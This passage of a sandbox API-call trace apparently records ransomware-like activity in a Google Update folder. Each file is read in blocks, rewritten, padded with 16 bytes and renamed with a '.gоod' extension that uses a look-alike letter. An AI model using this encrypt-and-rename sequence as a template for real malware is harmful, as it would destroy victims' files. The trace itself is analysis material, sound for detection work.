(dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.413] GetFileType (hFile=0x7ec) returned 0x1 [0118.413] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0118.413] ReadFile (in: hFile=0x7ec, lpBuffer=0x34b3f80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34b3f80*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0118.590] CloseHandle (hObject=0x7ec) returned 1 [0118.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0118.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0118.957] GetFileType (hFile=0x6e4) returned 0x1 [0118.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.957] GetFileType (hFile=0x6e4) returned 0x1 [0118.957] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2a650 [0118.959] WriteFile (in: hFile=0x6e4, lpBuffer=0x36f6f60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36f6f60*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0118.973] CloseHandle (hObject=0x6e4) returned 1 [0118.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0118.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0118.973] GetFileType (hFile=0x6e4) returned 0x1 [0118.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.974] GetFileType (hFile=0x6e4) returned 0x1 [0118.974] ReadFile (in: hFile=0x6e4, lpBuffer=0x36fa7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36fa7a0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0119.003] CloseHandle (hObject=0x6e4) returned 1 [0119.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0119.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.004] GetFileType (hFile=0x6e4) returned 0x1 [0119.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.004] GetFileType (hFile=0x6e4) returned 0x1 [0119.004] WriteFile (in: hFile=0x6e4, lpBuffer=0x36f94b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36f94b8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0119.004] CloseHandle (hObject=0x6e4) returned 1 [0119.004] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0119.004] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe.gоod", lpFilePart=0x0) returned 0x56 [0119.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0119.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x43263e9e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a660)) returned 1 [0119.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0119.004] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe.gоod")) returned 1 [0119.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0119.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), fInfoLevelId=0x0, lpFileInformation=0x3776dc8 | out: lpFileInformation=0x3776dc8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50)) returned 1 [0119.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0119.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.006] GetFileType (hFile=0x6e4) returned 0x1 [0119.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.006] GetFileType (hFile=0x6e4) returned 0x1 [0119.006] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0119.006] ReadFile (in: hFile=0x6e4, lpBuffer=0x37771f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37771f0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0119.089] CloseHandle (hObject=0x6e4) returned 1 [0119.809] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.809] GetFileType (hFile=0x6e4) returned 0x1 [0119.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.811] GetFileType (hFile=0x6e4) returned 0x1 [0119.811] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x92c50 [0119.811] WriteFile (in: hFile=0x6e4, lpBuffer=0x33ab8d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x33ab8d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0119.813] CloseHandle (hObject=0x6e4) returned 1 [0119.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.814] GetFileType (hFile=0x6e4) returned 0x1 [0119.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.814] GetFileType (hFile=0x6e4) returned 0x1 [0119.814] ReadFile (in: hFile=0x6e4, lpBuffer=0x33afed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x33afed0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0119.841] CloseHandle (hObject=0x6e4) returned 1 [0119.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.841] GetFileType (hFile=0x6e4) returned 0x1 [0119.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.841] GetFileType (hFile=0x6e4) returned 0x1 [0119.841] WriteFile (in: hFile=0x6e4, lpBuffer=0x33aec20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33aec20*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0119.841] CloseHandle (hObject=0x6e4) returned 1 [0119.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe", lpFilePart=0x0) returned 0x43 [0119.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe.gоod", lpFilePart=0x0) returned 0x48 [0119.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0119.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x43a4b9fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x92c60)) returned 1 [0119.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0119.842] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateCore.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecore.exe.gоod")) returned 1 [0119.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0119.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0119.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), fInfoLevelId=0x0, lpFileInformation=0x342c2f0 | out: lpFileInformation=0x342c2f0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0119.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0119.843] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0119.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.843] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.844] GetFileType (hFile=0x6e4) returned 0x1 [0119.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.844] GetFileType (hFile=0x6e4) returned 0x1 [0119.844] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0119.844] ReadFile (in: hFile=0x6e4, lpBuffer=0x342c728, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x342c728*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0119.845] CloseHandle (hObject=0x6e4) returned 1 [0119.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0119.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.845] GetFileType (hFile=0x6e4) returned 0x1 [0119.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.845] GetFileType (hFile=0x6e4) returned 0x1 [0119.845] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0xa000 [0119.845] WriteFile (in: hFile=0x6e4, lpBuffer=0x342d9d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x342d9d0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0119.846] CloseHandle (hObject=0x6e4) returned 1 [0119.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0119.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0119.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.846] GetFileType (hFile=0x6e4) returned 0x1 [0119.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0119.846] GetFileType (hFile=0x6e4) returned 0x1 [0119.846] ReadFile (in: hFile=0x6e4, lpBuffer=0x342fca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x342fca0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0120.162] CloseHandle (hObject=0x6e4) returned 1 [0120.162] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0120.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0120.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0120.163] GetFileType (hFile=0x6e4) returned 0x1 [0120.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0120.163] GetFileType (hFile=0x6e4) returned 0x1 [0120.163] WriteFile (in: hFile=0x6e4, lpBuffer=0x336b868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x336b868*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0120.163] CloseHandle (hObject=0x6e4) returned 1 [0120.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi", lpFilePart=0x0) returned 0x45 [0120.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi.gоod", lpFilePart=0x0) returned 0x4a [0120.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0120.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x43d6cada, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa010)) returned 1 [0120.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0120.163] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateHelper.msi.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatehelper.msi.gоod")) returned 1 [0120.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0120.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0120.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), fInfoLevelId=0x0, lpFileInformation=0x357b948 | out: lpFileInformation=0x357b948*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0120.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0120.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0120.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0120.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0120.165] GetFileType (hFile=0x6e4) returned 0x1 [0120.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0120.165] GetFileType (hFile=0x6e4) returned 0x1 [0120.165] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0120.165] ReadFile (in: hFile=0x6e4, lpBuffer=0x357bd90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x357bd90*, lpNumberOfBytesRead=0x1faedd28*=0x1000, 